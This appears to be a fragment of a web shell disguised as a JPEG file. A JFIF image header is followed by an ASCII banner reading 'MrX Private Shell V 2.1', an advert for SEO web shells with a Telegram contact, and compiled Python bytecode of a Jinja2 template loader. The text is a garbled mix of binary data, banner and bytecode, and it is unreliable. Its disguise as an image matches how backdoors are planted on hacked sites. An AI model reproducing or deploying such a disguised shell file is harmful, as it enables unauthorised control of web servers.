����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
��jb�Z � @ sV d Z ddlZddlZddlZddlZddlZddlZddl Z ddl
mZ ddlm
Z
ddlmZ ddlmZ ddlmZ dd lmZ dd
lmZ ejr�ddlmZ ddlmZ eeje d
�dd�ZG dd� d�ZG dd� de�ZG dd� de�ZG dd� de�Z G dd� de�Z!G dd� de�Z"G dd� de�Z#G dd� de�Z$G d d!� d!e�Z%dS )"zKAPI and implementations for loading templates from different data
sources.
� N)�abc)�sha1)�
import_module)�
ModuleType� )�TemplateNotFound)�internalcode)�open_if_exists)�Environment)�Template��template�returnc C sd g }| � d�D ]P}tjj|v s>tjjr2tjj|v s>|tjjkrHt| ��q|r|dkr|�|� q|S )z�Split a path into segments and perform a sanity check. If it detects
'..' in the path it will raise a `TemplateNotFound` error.
�/�.)�split�os�path�sep�altsep�pardirr �append)r
�piecesZpiece� r �B/usr/lib/python3.9/site-packages/ansible/_vendor/jinja2/loaders.py�split_template_path s
��
�
�
r c @ s� e Zd ZdZdZdeejeeje ejej g e
f f d�dd�Zeje d�dd �Z
eddeejejeejf dd�d
d��Zd
S )�
BaseLoadera� Baseclass for all loaders. Subclass this and override `get_source` to
implement a custom loading mechanism. The environment provides a
`get_template` method that calls the loader's `load` method to get the
:class:`Template` object.
A very basic example for a loader that looks up templates on the file
system could look like this::
from jinja2 import BaseLoader, TemplateNotFound
from os.path import join, exists, getmtime
class MyLoader(BaseLoader):
def __init__(self, path):
self.path = path
def get_source(self, environment, template):
path = join(self.path, template)
if not exists(path):
raise TemplateNotFound(template)
mtime = getmtime(path)
with open(path) as f:
source = f.read()
return source, path, lambda: mtime == getmtime(path)
Tr
��environmentr
r c C s&